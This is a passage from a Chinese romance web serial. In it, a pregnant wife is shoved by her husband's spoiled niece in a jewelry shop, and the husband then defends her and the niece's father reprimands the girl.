几乎是下意识的,她拿出手机,拨通了那个置顶的号码。 电话只响了一声就被接起,那边传来陆京洲低沉温柔的声音,背景是细微的、让人安心的烹饪声响,“老婆?谈完事情了?” 听到他声音的瞬间,岑予衿一直紧绷的神经蓦地一松,鼻尖甚至有些发酸。 她轻轻“嗯”了一声,声音里带着自己都未察觉的依赖和软糯,“谈完了。你呢?在哪儿?” 电话那头,陆京洲将灶火调小,锅铲靠在一边,专注地听着电话。 他敏锐地捕捉到她语气里那一丝不易察觉的低落,声音放得更柔,“在家。给你炖了燕窝,正在炒你爱吃的虾仁,等你回来就能吃。” 他顿了顿,语气带着了然的笑意,“是不是累了?怎么不太开心?需不需要我去接你?” 岑予衿听着电话那头传来的、属于“家”的温暖声响,眼眶微微发热。她吸了吸鼻子,把那份委屈压下去,声音闷闷的: “不用接,已经在回去的路上了。”她顿了顿,指尖无意识地缠绕着大衣的绑带,带着点连自己都没察觉的撒娇意味,“就是……有点累,对了……明天不是你有个亲戚要办生日宴,你让助理定的礼物取回去了吗?” 陆京洲也忙了一天了,把这件事情忘了,“还没,你先回家,我等会让人去取。” “反正顺路,我取回来吧,明天不往这个方向走。” “好,那注意安全。” “30分钟后可以到家。” 岑予衿挂了电话,导航设置到陆京洲说的珠宝定制店。 车子驶离主干道,拐进一条静谧的商业街,橱窗里的暖光透过玻璃洒出来,映得路面都带着几分温柔。 珠宝店还没打烊,店员见她报了陆京洲的名字,立刻恭敬地取出一个丝绒礼盒。 一套月光石珠宝静静躺在其中,项链的吊坠是镂空的星芒形状,镶嵌着几颗圆润的月光石,在灯光下泛着柔和的晕彩,配套的耳环和手链设计简约却不失精致。 小助理眼光还挺不错,送给18岁的女孩当成人礼很合适。 “周小姐,确定没问题的话就包起来。” 岑予衿笑着点了点头,“包起来吧。” 一个稍微年轻点的女孩挽着一个看起来稍微成熟一点的女人走了进来。 边走边吐槽。 “晚樱姐姐,你终于回来了,你都不知道我小叔受了多大的委屈!” “你回来他终于可以摆脱那个丑八怪了。” 第104章 我小叔护短,看他不找一堆人揍死你 “悦悦,你小叔他都已经结婚了,这种事情就别乱说了,要是被他听到了不好。”姜晚樱笑着揉了揉她的脑袋。 “我说的是事实,晚樱姐姐,你相信我,我小叔对你是不一样的。要不然他也不会为了你在m国定居。” “他最困难的时候,身边可只有你一个女人,现在他结婚只是迫不得已,他真的喜欢你。” 陆明悦正跟她说着话,突然听到姓周,眉头忍不住皱了。 又是姓周的,姓周的,没一个好东西! 抬眼看过去,就像一个长得特别漂亮的女孩,刚把一个首饰盒递了过去。 要是她小叔娶的是这种女人,她也不会多说什么。 她小叔长得那可是天上地下绝无仅有,凭什么要娶周芙笙那么一个丑八怪。 她都替他委屈。 好在晚樱姐姐回来了,在她心里只有像姜晚樱这样,事业有成,又有钱又有颜的富家千金才能配得上小叔那样的人。 虽然小叔这个二世祖,可他身后是家财万贯的陆家,颜值也是顶配,这样的人想要什么样的配不上? 也不知道外祖母被那个丑八怪,灌了什么迷魂汤。 越想越生气。 “等会儿,让我看看。” 岑予衿本来就有一堆烦心事儿,目不斜视的看着店员道,“钱已经付过了,东西是我的,包起来就行。” 她对这样的女人向来没什么好感。 不管她小婶婶和他小叔,到底是什么关系,那也不用她一个外人插手。 要是那男人真听了她的话和这个什么晚樱姐姐在一起,那也不是什么好东西。 毕竟那属于婚内出轨。 “我说过要,要了吗?看一下还不行吗?”陆明悦也来了脾气,一把抢过店员手里的东西,懵的打开。 都说行周的没有什么好东西,哪怕是长得好看的,姓周的,也不是什么好东西。 陆明悦一把夺过丝绒礼盒,打开一看,那套月光石珠宝在店内灯光下流转着温润柔和的蓝光,精致又特别,她眼睛瞬间亮了。 “这套不错!”她拿着项链就往自己脖子上比划,对着镜子照了照,越看越喜欢,完全忘了刚才的争执,转头对姜晚樱说,“晚樱姐,你看这个是不是比我们刚才看的那几家都好?” 姜晚樱微笑着上前一步,目光柔和地落在项链上,语气温婉,“确实很别致,月光石很衬你。不过……” 她轻轻瞥了一眼站在一旁的岑予衿,声音依旧温柔,“这位小姐已经买下了,我们还是看看别的吧。” 她这话看似体贴,却巧妙地把岑予衿置于一个“不愿割爱”的位置。 陆明悦果然被点着了,她撇撇嘴,带着惯有的骄纵,“她不是还没拿走嘛!再说了,明天我正愁没合适的首饰呢!” 她像是突然找到了理由,理直气壮起来,“这套正好!喂,姓周的,你开个价,我双倍给你!” 岑予衿简直要被气笑了,她冷冷地看着店员,“这就是你们的待客之道?我的东西,别人说抢就抢?” 店员一脸为难,连忙对陆明悦说,“陆小姐,这……这确实是周小姐定制的,钱都付过了……” 岑予衿一想到今天那些烦心事儿,又想到陆京洲在家做好饭,等她回去,她就忍不了一点。 她一把将首饰盒夺回,动作快得让陆明悦都没反应过来。 “你干什么!”陆明悦尖叫,伸手就要抢回来。 岑予衿侧身避开,直接将盒子塞进自己的包里,拉上拉链,动作一气呵成。 她抬起眼,目光清凌凌地看向陆明悦,语气带着不容置疑的冷硬,“我说了,不卖。听不懂人话?” “你!”陆明悦气得脸通红,指着岑予衿,“你知道我是谁吗?你敢这么跟我说话!” “我管你是谁?”岑予衿懒得再纠缠,拎起包转身就走,只留下一句,“有本事让你小叔来跟我谈。” 这话更是戳了陆明悦的肺管子,她小叔怎么可能搭理这种小事儿,“你给我站住!把东西交出来!” 岑予衿没想到对方竟敢直接动手,被她拽得一个趔趄。 她试图甩开陆明悦的手,语气也染上了怒意,“放手!你疯了是不是?” “我让你把东西交出来!”陆明悦非但不放,反而更加用力,另一只手就去抢岑予衿的包。 两人瞬间扭扯在一起。 姜晚樱在一旁假意劝道,“明悦,算了,别这样……咱们再去看看其他的,一定有更适合你的。” 脚下却一步未动,眼底甚至掠过一丝看好戏的意味。 店员吓得手足无措,想上前拉开又不敢。 推搡之间,陆明悦使足了力气,猛地将岑予衿往后一推。 岑予衿猝不及防,整个人失去平衡,“咚”的一声重重摔倒在地,她下意识的护住了肚子,膝盖先着地,一阵尖锐的疼痛立刻传来。 周围瞬间安静了一下,连陆明悦自己也愣了一下,但随即又被骄纵占据了上风,哼道,“活该!敬酒不吃吃罚酒!” 岑予衿看着手肘上迅速浮现的擦伤和淤青,火辣辣的疼痛让她彻底怒了。 她抬起头,眼神冷得像冰,直直射向陆明悦。 她缓缓从地上站起来,拍了拍身上的灰尘。 陆明悦被她看得有些发毛,强撑着气势,“你看什么看!把项链给我,这事就算了!” 岑予衿没说话,只是往前走了一步。 陆明悦下意识后退半步,“你想干什么……” 话音未落,岑予衿猛地抬手,干脆利落地抓住了陆明悦刚刚推她的那只手臂,顺势一个巧劲,利用陆明悦自己向前的冲力,将她狠狠掼了出去! “啊……”陆明悦惊叫一声,比岑予衿刚才摔得还要狼狈,直接扑倒在地,精心打理的衣服也沾上了灰尘。 “明悦!”姜晚樱这次终于动了,惊呼着上前去扶,看向岑予衿的目光带上了真实的惊怒,“你怎么能动手打人!” 岑予衿站直身体,冷冷地看着地上龇牙咧嘴的陆明悦,语气平静却带着十足的压迫感,“正当防卫,看不懂?还是你觉得,只有你能动手,别人就该站着让你打?” 她不再看那两人,直接拿出手机,当着所有人的面,按下了报警电话。 “喂,110吗?我要报警。在市中心‘臻品珠宝’店内,有人抢劫我的私人财物未遂,并对我进行人身攻击,导致我身体多处擦伤,我是孕妇。对方现在还在现场,麻烦你们出警处理一下。” 她语气清晰、冷静,条理分明地说明了地点和事件性质。 陆明悦被姜晚樱扶起来,听到“抢劫”两个字,脸色瞬间白了,又气又急,“你胡说八道!谁抢劫了,那套珠宝适合我,我只是想跟你买过来!” 姜晚樱也皱紧眉头,柔声对岑予衿说,“周小姐,这只是一点小误会,没必要闹到报警吧?明悦她年纪小,冲动了些,我代她向你道歉。你看,你也推了她,大家扯平了不好吗?” “扯平?”岑予衿扯了扯嘴角,牵动手肘的伤处,让她眼神更冷,“她先动手抢东西、推人,我自卫反击。这是两码事。至于道歉……” 她目光扫过一脸不服的陆明悦和看似调解实则偏袒的姜晚樱,“还是等警察来了,你们跟警察解释吧。” 店内的气氛彻底凝固了。 陆明悦还是第一次遇到这种事情,眼眶红的不能再红,“我……我……你等着,我现在就让我爸过来。” “悦悦,陆大哥出差了,一时半会回不来,我帮你解决就好。” 陆明悦也反应过来了,眉头皱的紧紧的。 可是不摇人她也不知道该怎么办,特别没底气。 “我不要!” 陆明悦正脱开她的手,在通讯录里不停的翻找着。 “对了!我找我小叔过来,你等着吧,我小叔这个人特别护短,看他不找一堆人过来揍死你。”她抬着小手指着岑予衿,气的直跺脚。 姜晚樱一听她要叫自己小叔过来,眼睛明显亮了亮,又一下子收了回去,小心翼翼的检查着她身上有没有什么伤。 她刻意拔高了音量,试图在气势上压倒对方,但微微发颤的指尖还是泄露了她内心的慌张。 毕竟“抢劫”和“推搡孕妇”这两个词,听起来实在太严重了。 要是真被她爸知道了,非打死他不可。 可小叔不一样,他什么人都敢惹。 姜晚樱在一旁柔声安抚,眼神却不时瞟向门口,带着一丝不易察觉的期待,“明悦,别这样,好好说……陆先生他……应该很忙吧,为这种小事打扰他不好。” 她这话看似劝阻,实则更像是在提醒陆明悦,她小叔是会为她出头的。 岑予衿只是冷冷地看着她们表演,手轻轻覆在小腹上,有些不舒服,眼神更沉。 她对着还未挂断的电话那头补充道,“警察同志,对方现在正在威胁我,声称要叫人来‘揍死’我。麻烦你们尽快出警。” 这话清晰地传到了陆明悦和姜晚樱耳中,陆明悦气得差点跳起来,电话正好在此时接通了。 “小叔!”陆明悦带着哭腔,声音委屈极了,“小叔你快来‘臻品珠宝’救我!有个姓周的疯女人欺负我!她抢我东西,还打我!把我推倒在地上了!我手好疼……她还报警诬陷我!小叔你快来啊!” 她颠倒黑白,把自己摘得干干净净,把所有过错都推到了岑予衿身上。 姜晚樱适时地凑近话筒,语气带着恰到好处的担忧和无奈,“陆先生,您别太着急,明悦就是受了点惊吓,没什么大事。只是对方……那位周小姐,态度比较强硬,已经报警了。我们正在尽力沟通,但效果不大。” 她三言两语,既表现了她的“懂事”和“调解”,又暗示了岑予衿的“无理取闹”和“小题大做”。 岑予衿想都没想,自己拨通了120。 陆京洲的电话,恰好打了进来。 第105章 欺负到我老婆头上了? 岑予衿犹豫了一下,还是接通了电话。 警察出警到解决完事情回去,还得很长时间。 她还要去医院检查一下,要不然不放心。 “老婆,你往回走了吗?” 岑予衿听到他关切的声音,又看着对面两人,顿时有些委屈,“还没……我受伤了,人家叫家属了,你过来一……” 岑予衿话还没说完呢,就听到了他启动车子的声音,“老婆……你别着急,伤的严不严重,伤到哪了?地址……地……址发给我,我马上过来,马上就能到。” “就是身上有点小擦伤,我没着急……你开车呢,集中注意力!” “小擦伤?还擦伤了!”陆京洲的声音瞬间绷紧了,引擎轰鸣声陡然加大,隔着电话都能感受到那股焦灼,“地址发我,立刻!马上!” 他根本不等岑予衿再说什么,电话那头只剩下呼啸的风声和轮胎摩擦地面的尖锐声响,显然是把车速提到了极限。 “你待在原地别动!我马上到!”他的声音带着不容置疑的急促,说完这句便挂了电话,大概是需要全神贯注地驾驶。 听着电话里传来的忙音,岑予衿心里那点委屈奇异地被一股暖流冲散。 她放下手机,一抬头,就对上对面两人神色各异的目光。 陆明悦脸上闪过一丝不易察觉的慌乱,但很快又被强装的镇定覆盖,她哼了一声,“还叫家属?叫谁来都没用!等我小叔到了……有你好看。” 姜晚樱则微微蹙着眉,若有所思地看着岑予衿。 她刚才打电话时那种不自觉流露出的依赖和委屈,以及电话那头男人毫不掩饰的急切,都让她心里升起一丝不太好的预感。 这不像是在虚张声势,而且那男人的声音莫名有些熟悉。 店内的气氛变得更加诡异,一种山雨欲来的压抑感弥漫开来。 时间一分一秒地过去。 警察和120还没到现场。 店外传来一阵刺耳到极点的刹车声! 紧接着是车门被猛地甩上的巨响——“砰!” 珠宝店精致的玻璃门被人从外面用力推开,力道之大让门撞在后面的限位器上,发出“哐当”一声震响。 一道高大挺拔的身影带着一身尚未平息的风尘和骇人的戾气闯了进来。 岑予衿一下子起身,难以置信的看着他。 和他打完电话还没有10分钟,他……就到了! 她都不敢想,他开的车有多快。 男人身上穿着休闲的居家服,袖子被挽到手臂弯处,露出结实的小臂。 最最最违和的是他腰上还系着一个黑色的围裙! 显然是……来不及脱,就过来了。 他额前的碎发有些凌乱,呼吸略显急促,深邃的眼眸如同淬了寒冰。 进门的第一时间就精准地锁定了岑予衿的位置,视线飞快地在她周身扫过。 当看到她手肘和膝盖处的擦伤和淤青,以及她下意识护着小腹的动作时,陆京洲的眼神瞬间沉得能滴出水来,周身的气压骤降,连店内的温度都仿佛低了好几度。 他刚要上前就见一旁的陆明月委屈的上前,一把抱住他就开始控诉,“小叔,你再不来,你侄女儿都要被欺负死了。” 陆明月想到刚才小叔说要让人过来,没想到他亲自过来,还来的这么快。 开心得浑身冒着小泡泡~ 岑予衿不自觉的抓紧衣摆,她是真的没有想到这个世界这么小。 她口中的小叔是陆京洲,那个丑八怪是自己! 她的视线不自觉的落在他腰间的黑色围裙上,和他整个人的气质都不搭,心里五味杂陈的。 说实话,她对这种二选一的戏码向来没什么期待。 毕竟她从来都是被放弃的那一个。 她是陆京洲的侄女,明天才过18岁生日,他要参加他的生日宴,还贴心的准备了礼物。 从这些来看,陆京洲看在他堂哥的面子上,应该也不会拿她侄女儿怎么样。 她现在要出面当和事佬,认一下这件事情说‘反正这套首饰也是送给她的吗?’ 岑予衿就这么看着陆京洲。 陆明悦还在喋喋不休:“小叔,就是那个女人!她抢我看中的项链,还动手打我!你看她把我推的,身上都脏了!她简直是个泼妇!你快帮我教训她!” 陆京洲的身体在被陆明悦抱住的瞬间就僵硬了。 他的目光越过她的头顶,牢牢锁在岑予衿苍白的脸上和手臂的擦伤处,眼神里的冰霜非但没有融化,反而越积越厚。 他听着陆明悦颠倒黑白的哭诉,眉头死死拧紧。 “放手。”他的声音不高,却带着一股让人心寒的冷意。 陆明月一愣,仰起头,泪眼汪汪地看着他,“小叔?” “我让你放手!”陆京洲的声音陡然拔高,带着不容置疑的厉色,同时手臂用力,毫不留情地将扒在自己身上的陆明悦扯开,推到了一边。 陆明月被推得踉跄了一下,难以置信地瞪大了眼睛。 陆京洲看都没看她一眼,大步流星地走到岑予衿面前。 周身那骇人的戾气在靠近她时下意识地收敛了些,但眼底的心疼和焦急却无法掩饰。 他伸出手,想碰碰她手臂上的伤,又怕弄疼她,手指在空中顿了顿,最终只是虚虚地护在她身侧。 “笙笙。”他的声音放缓了,带着显而易见的紧张,“除了手和膝盖,还有哪里不舒服?肚子呢?疼不疼?” 他紧紧盯着她的眼睛,不放过她脸上任何一丝细微的表情。 岑予衿看着他眼底毫不掩饰的紧张与心疼,看着他不敢触碰自己伤处的谨慎模样,心中那点不确定和自嘲瞬间烟消云散。 她赌对了。 在他心里,她的分量,远比那个骄纵的侄女要重得多。 她轻轻吸了口气,没有立刻回答他的问题,反而抬起没受伤的那只手,指尖轻轻碰了碰他腰间那条违和的黑色围裙。 声音带着一丝连她自己都未察觉的依赖和委屈,低声道,“你……你怎么系着这个就来了。” 看似无关紧要的一句话,却比任何控诉都更有力量。 陆京洲的心像是被什么东西狠狠揪了一下,又酸又软。 他握住她碰触围裙的手指,掌心温热,小心翼翼地包裹住她微凉的指尖。 “接到你电话,我哪里还顾得上这些。”他低声解释,目光再次扫过她手臂和膝盖的伤,“别管围裙了,告诉我,到底伤得怎么样?肚子真的只是有点不舒服?” 在他的眼里,除了她的安危,其他一切都不重要,包括那个还僵在一旁脸色煞白的侄女。 岑予衿迎着他担忧的目光,轻轻点了点头,“嗯,就是摔倒的时候震了一下,有点不舒服,现在好多了。” 店员已经了解清楚了事情经过。 看到陆京洲出现魂都吓没了,立刻将事情的始末解释了清楚。 “是我让你来取的那套?” 岑予衿,点了点头把那个首饰盒拿了出来,“嗯。” 陆京洲把她手里的首饰拿了过来,一步步走到陆明月面前,“看来是我平时太纵容你了。” 他声音低沉,带着一种失望至极的平静,“让你在外面,都敢打着我的名号,欺负到我的人头上了。” “小叔!我不是……我没有欺负她!是她……”陆明月急得快哭出来,试图诡辩。 陆京洲却像是没听见,他垂眸看着手里的首饰盒,语气没什么起伏地陈述,“这条项链,是我准备明天送你十八岁的生日礼物。” 陆明悦的眼睛瞬间瞪大了,里面充满了难以置信和一丝骤然升起的希望。 原来小叔还记得她的生日!还准备了礼物! 那是不是…… 她的希望还没来得及成型,就被陆京洲接下来的动作彻底击得粉碎。 只见他手指用力,那看似坚固的丝绒盒子在他掌心中发出不堪重负的“咔嚓”声,盒盖瞬间扭曲变形。 他看都没看,随手就将那被毁掉的盒子和里面价值不菲的首饰,像丢垃圾似的毫不在意地扔在了光洁的地板上。 “砰”的一声轻响,如同重锤砸在陆明悦的心上。 项链四分五裂。 “现在,它不是了。”陆京洲的声音冰冷刺骨,没有丝毫转圜的余地,“陆明月,敢惹我的老婆,别说是你,就是我老子今天站在这儿,也一样不行。” 老婆?! 这两个字如同惊雷,炸得陆明悦和一旁的姜晚樱都懵了。 陆明悦瞳孔骤缩,猛地看向被陆京洲牢牢护在身后的岑予衿,那张漂亮却此刻写满惊愕的脸,让她瞬间明白了什么。 原来……这个她口中的“丑八怪”,竟然是她小叔法律上名正言顺的妻子! 巨大的震惊,让她浑身发冷,连嘴唇都失去了血色。 店外传来了由远及近的警笛声和120救护车的声音。 陆京洲不再看面如死灰的陆明月,他揽住岑予衿的肩膀,小心地避开了她的伤处,语气瞬间切换回之前的温柔,“救护车来了,我们马上去医院做个全面检查,一点都不能大意。” “把人移交警局,让她父亲亲自去接。” 陆京洲抱着人往外走,“要是我老婆出了一点问题,你们俩谁也跑不了。” 第106章 他的偏爱从不是说说而已 陆京洲小心翼翼地将岑予衿抱上救护车,医护人员立刻给她做了初步的检查。 陆京洲的目光始终牢牢锁在她身上,直到确认她只是皮外伤,宝宝也没有大碍,紧绷的下颌线才略微松弛了几分。 但依旧是皱着眉头的,看起来似乎疼的不是她……而是他。 在医院做完一系列详细的检查,确保她和宝宝都安然无恙后,带她去处理了伤口,才彻底放下心来,亲自驱车带她回家。 车子平稳地驶入明亮的车库,他却没急着下车,熄了火。 岑予衿想到了刚才见他时他身上还穿着围裙,一路上盘旋在心头的问题终于忍不住问出了口,“你当时……怎么会那么快就过来了?从家到那里,就算不堵车,正常开车至少也要半小时以上。” 陆京洲侧过身,深邃的眼眸在昏暗的光线下格外专注。 他伸手,用指背轻轻蹭了蹭她脸颊,动作带着显而易见的珍视。 “快吗?”他低声道,语气里带着一丝未散的后怕,“我只觉得太慢了。接到你电话,听到你说受伤了,那一刻,我恨不得能瞬移到你身边。” 他顿了顿,坦白,“我闯了三个红灯,超了无数辆车,一路踩着油门就没松过。” 他握住她的手,掌心温热干燥,“以后不会再这样了,太危险。但当时……我控制不住。” 岑予衿的心尖被他话语里的急切和坦诚烫得一颤。 她反手握住他的手指,轻声问出第二个问题,“那……你为什么那么相信我?陆明月是你亲侄女,你甚至没有先问一句她说的版本,就无条件地站在我这边?” 这是她最在意,也最不敢期待的一点。 陆京洲闻言,眉头微蹙,似乎觉得她这个问题很多余。 他捧起她的脸,迫使她看着自己的眼睛,语气斩钉截铁,没有丝毫犹豫,“周芙笙,你听好了。你是我陆京洲的妻子,是我要共度一生的人。我不信你,信谁?信那个被惯得不知天高地厚、满口谎言的侄女?” 他的眼神锐利而清醒,“她是什么性子,我比你清楚。嚣张跋扈,颠倒黑白是惯用伎俩。而你……” 他的声音不自觉放柔,“我的笙笙,受了委屈第一反应是叫我,而不是自己硬扛,或者退缩道歉。你肯依赖我,我高兴还来不及,怎么可能让你失望?” 他拇指摩挲着她的下颌,继续道,“更何况,店员也证实了事情的经过。退一万步说,就算没有证人,只要你说不是你的错,我就信。在我这里,你永远拥有最高优先级。” 岑予衿鼻尖一酸,眼眶有些发热。她眨了眨眼,逼回那点湿意,问出最后一个问题,“所以,你一眼就看穿了我后来有想当和事佬,息事宁人的念头?” 陆京洲轻哼一声,带着点洞悉一切的无奈和宠溺,“你那点心思,全都写在脸上了。手指绞着衣摆,眼神飘忽,一看就是在打退堂鼓,心里一定想着‘算了,反正首饰也是送她的,没必要闹大’对不对?” 她确实是这么想的,毕竟要和陆沉奕抢总裁的位置,需要陆家人的支持。 陆明月的父亲,是个十足的女儿奴,为了这么一件小事惹到她,一点也不值得。 陆京洲叹了口气,将她轻轻揽入怀中,下巴抵着她的发顶,声音低沉而坚定,“笙笙,我要教你一件事。在我这里,你永远不需要懂事,不需要退让。尤其是当你被欺负、受了委屈的时候,我要的不是你忍气吞声,扮大度当和事佬。我要你理直气壮地告状,要你知道,无论对错,我都会毫不犹豫地站在你前面。” “我的偏爱,就是你的底气。只要有我在,你可以横着走,但绝不能受了委屈还自己咽下去,明白吗?我会替你撑腰的!” 岑予衿靠在他温暖的胸膛上,听着他沉稳有力的心跳,一直漂浮不定的心,终于落回了实处。 她伸出手,回抱住他精瘦的腰身,脸埋在他带着淡淡油烟味和清冽气息的居家服里,闷闷地“嗯”了一声。 这一刻,所有的不安和委屈都被熨帖平整。 原来,被一个人如此坚定地选择和偏袒,是这种感觉。 真好。 陆京洲感受到她的依赖,搂着她的手臂又紧了紧,眼底却掠过一丝冷芒。 陆明月那边,仅仅这样处理还不够,必须让她和她父母都彻底明白——周芙笙,是他绝不能碰的逆鳞。 他的偏爱,从来不只是说说而已! “走了回家,饿了吧?饭菜都凉了,我重新做。” 岑予衿笑道,“哪里要那么麻烦?热一下就可以吃啦~” “不行,好不容易被我养胖了一点,可不能饿瘦了。”陆京洲先下车,将她裹得紧紧的才抱着下车。 “饿一顿就能瘦?”她已经习惯了被他抱着的感觉,这会双手不用环着他的脖子,都觉得很有安全感了。 “瘦了几两不算瘦?” 岑予衿环着他的脖子,吧唧一口亲在了他的脸上,“好吧好吧~我老公说什么就是什么。” …… 另一边,警局调解室! 暖气似乎不足以驱散这里的寒意,陆明月和姜晚樱并排坐着,脸色一个比一个难看。 一名年轻警察坐在对面,正打开笔录本。 “姓名。”警察的声音公事公办。 “陆明月。”她没好气地回答,依旧带着大小姐的骄纵,但眼神里已有一丝不安。 “姜晚樱。”旁边的姜晚樱声音低了些,显得更识时务。 警察记录着,头也不抬地继续问:“知道为什么请你们过来吗?” “为什么?”陆明月像是被踩了尾巴,声音拔高,“我们才是受害者!是那个女的先动手推我的!你们应该去抓她!” 警察抬起眼皮,淡淡地看了她一眼,那眼神带着看透一切的平静:“根据现场店员的证词,以及我们初步调取的店内监控片段显示,是你先上前抢夺对方已经付款的商品,并存在明显的推搡行为,导致对方摔倒。对方属于自卫和避免财物被抢。” “监控?”陆明月脸色一白,她完全忘了这茬。 姜晚樱也抿紧了嘴唇,手指绞在一起。 “店员可以做证!是她先骂我的!”陆明月还在强辩。 “具体细节我们会进一步核实。”警察不为所动,合上笔录本,“目前的情况,需要暂时对你们进行扣留,等待对方验伤结果,以及通知你们的家属过来办理相关手续。” “什么?!扣留?保释?”陆明月从小到大没受过这种待遇,气得浑身发抖,却又不敢在警察面前太过放肆。 一股寒意从脚底窜上心头,她打了个哆嗦,终于彻底认清现实——小叔这次,是动真格的。 无奈之下,她只能颤抖着手指,拨通了自己父亲陆宸朝的电话。 电话响了很久才被接起,那边传来陆宸朝略带疲惫却沉稳的声音,“明月?怎么了?这个时间打电话,明天不是你生日宴吗,东西都准备好了?” 听到父亲熟悉的声音,陆明月一直强撑的委屈和恐慌瞬间决堤,带着哭腔喊道,“爸!爸你快来警局接我!我……我被小叔送进警局了!” “什么?”陆宸朝的声音瞬间拔高,带着难以置信的惊怒,“警局?京洲把你送进去的?怎么回事?!你慢慢说清楚!” 陆明月抽抽噎噎,下意识地想歪曲事实,“我……我就是和一个人在珠宝店起了点冲突,那个女人她抢我看中的项链还推我……谁知道,谁知道小叔来了就不分青红皂白护着她,还把我扭送警局了!爸,你快来,这里好冷……” 她刻意模糊了岑予衿的身份和自己先动手抢东西,推人的事实。 陆宸朝对自己女儿的性格和弟弟的为人都有了解,显然不太相信。 陆京洲看起来是二世祖,但绝不是冲动无状的人。 能让他如此动怒,甚至不顾侄女情分直接把人送进警局,对方身份绝对不简单,而且明月肯定隐瞒了最关键的部分。 “冲突?什么样的冲突需要进警局?对方是什么人?”陆宸朝的声音沉了下来,带着压迫感。 “我……我不知道她是谁……”陆明月支支吾吾。 “陆明月!”陆宸朝连名带姓地呵斥,“到现在还不说实话?!你小叔亲自处理的事,会是无缘无故的吗?你不说清楚,我怎么去接你?等着在里面过夜吗!” 父亲的震怒让陆明月彻底慌了神,她带着哭音脱口而出,“是……是小叔的老婆!我不知道她是小叔的老婆!我就是喜欢那条项链,想看看,可能……可能推搡了一下……爸,我知道错了,你快来接我出去吧!这里真的好难受……” 小叔的老婆? 陆宸朝在电话那头明显顿住了,呼吸都重了几分。 陆京洲护短,明月竟然惹到了他老婆头上,还动了手! 这简直是在陆京洲的雷区上疯狂蹦迪! “你……你真是闯了大祸了!”陆宸朝的声音带着气急败坏和一丝不易察觉的头痛,“待在原地别动,我马上过来!在我到之前,你给我老老实实闭嘴,什么都别说,什么都别做!” 第107章 她一定要把周芙笙赶出陆家 挂了电话,陆宸朝一刻不敢耽搁,立刻起身往外走。 他脸色铁青,心里已经把整件事猜了个七七八八。 自己这个女儿,真是被惯得无法无天了,这次踢到铁板,还是最硬的那一块! 刚从外面出差回来,想着明天开开心心给自己闺女办18岁成人礼,再累也值。 没想到来了这么一茬! 他都不知道该说什么好! 陆宸朝一边让司机备车,一边深吸一口气,找出陆京洲的号码拨了过去。 电话响了很久才被接通,对面传来陆京洲冷淡到极致的声音,“哥。” 显然,他知道这个电话是为了什么。 陆宸朝放软了语气,带着歉意和试探,“京洲,我刚接到明月的电话……这丫头混账,不懂事!我代她向你,还有……弟妹,道歉。她伤得怎么样?严重吗?” 陆京洲的声音没有丝毫回暖,隔着电话线都能感受到那股冷意,“检查做完了,皮外伤,万幸肚子里的孩子没事。” 孩、孩子?! 陆宸朝眼前一黑,差点没站稳。 陆明月这死丫头,不仅冲撞了小婶婶,还差点害了陆家未来的金孙?! 这罪名可太大了! “什么?!这……这……”陆宸朝的声音都抖了,“京洲,我……我马上到警局,我亲自带着明月去给弟妹赔罪!要打要罚,绝无怨言!” “赔罪?”陆京洲轻嗤一声,语气里的维护毫不掩饰,“笙笙需要静养,受不起惊吓。哥,你还是先把你女儿教明白,什么能做,什么不能做。至于其他的,等她能真正认识到错误再说吧。” 说完,陆京洲便直接挂了电话。 听着电话里的忙音,陆宸朝额角青筋直跳。他知道,陆京洲这是动了真怒,绝不会轻易罢休。 他深吸一口气,催促司机再开快些,心里已经盘算着该如何重重惩罚陆明月,才能平息弟弟的怒火,以及……如何弥补那位素未谋面的弟妹。 不过,他们俩不是被老太太逼婚的,不是联姻吗? 陆京洲怎么就开始对她死心塌地了? 不是才结婚两个多月,他到底错过了些什么? 陆宸朝赶到警局的时候,陆明月哭的一把鼻涕一把泪的,冻得直哆嗦。 他火气消了大半,最终叹了口气,什么也没说,拿了大衣亲自给她裹上。 陆宸朝沉着脸,迅速办完了保释手续。 整个过程他几乎没怎么说话,只是偶尔用严厉的眼神制止想要开口辩解的陆明月。 姜晚樱站在一旁,更是大气不敢出,低垂着头,被自家匆匆赶来的司机接走了。 直到坐进温暖的车里,隔绝了外面的寒冷,陆宸朝才长长地吐出一口浊气。 他看着身边眼睛红肿,还在微微发抖的女儿,终究是心疼占了上风,抽出纸巾递给她。 “擦擦吧。”他的声音带着疲惫。 陆明月接过纸巾,哽咽着,“爸……我知道错了,我真的不知道她是小婶婶,也不知道她怀孕了……” “现在知道了?”陆宸朝打断她,语气严肃,“明月,你已经不是小孩子了,明天就满十八岁,该懂事了!做事之前能不能动动脑子?强抢东西,动手推人,这是陆家大小姐该有的教养吗?” 陆明月被训得低下头,不敢吭声。 陆宸朝看着她这副样子,想到陆京洲电话里那句肚子里的孩子,心有余悸,语气更加沉重,“你知不知道你这次闯了多大的祸?那是你小叔法律上的妻子,是你名正言顺的小婶婶!你小叔的脾气你不知道?他认定的人,谁敢动?更何况现在还怀着孩子!那是我们陆家的长孙!” 他越说越气,又带着后怕,“今天要是你小婶婶和孩子出点什么事,你以为你小叔只是把你送警局这么简单?我告诉你,到时候别说你,连我都得吃不了兜着走!” 陆明月从未见过父亲用如此严厉甚至带着忌惮的语气谈论小叔,心里更委屈了,小手攥的紧紧的,显然不服,小声嗫嚅,“我……我以后不敢了……” “希望你是真的记住了这次教训!”陆宸朝揉了揉眉心,话锋一转,带着不容置疑的命令,“还有,以后少跟那个姜晚樱混在一起。” 陆明月一愣,下意识抬头:“爸?晚樱姐姐她……” “她什么?”陆宸朝眼神锐利地看着她,“今天这事,她在旁边起到什么好作用了?是不是她怂恿你去抢项链的?是不是她在旁边煽风点火?明月,你心思单纯,容易被人当枪使!姜家那丫头,心思深,你离她远点,免得再被她拖下水!” 陆宸朝在商界摸爬滚打多年,看人极准。 他虽不清楚具体细节,但凭直觉和对姜晚樱有限的了解,就能猜到自家女儿多半是被当了出头鸟。 陆明月点了点头,知道爸爸在气头上,也没有和他顶嘴。 但是晚樱姐姐才不是这样的人,爸爸误会她了。 很多人都不喜欢和她玩,只有晚樱姐姐不一样,她会带她玩儿,和她逛街,做美甲。 还会带她认识自己圈子里的人,是对她最好最好的人。 而且和小叔还是两情相悦,她就是不喜欢那个周芙笙,害自己被关到了警局,还惊扰了爸爸! 想到小叔虽然怂,但从小没受过委屈的她一点也不服。 她要把周芙笙赶出陆家! “我最后帮你邀请一次你小叔和你小婶婶,他们要是来了生日宴,你就好好道个歉,这件事情算过去了。要是他们不来……以后你自己想办法。” 陆明月点头如捣蒜,“好的爸爸,保证完成任务。” …… 檀月山庄。 陆京洲回到家自己炖的汤,炖的正好。 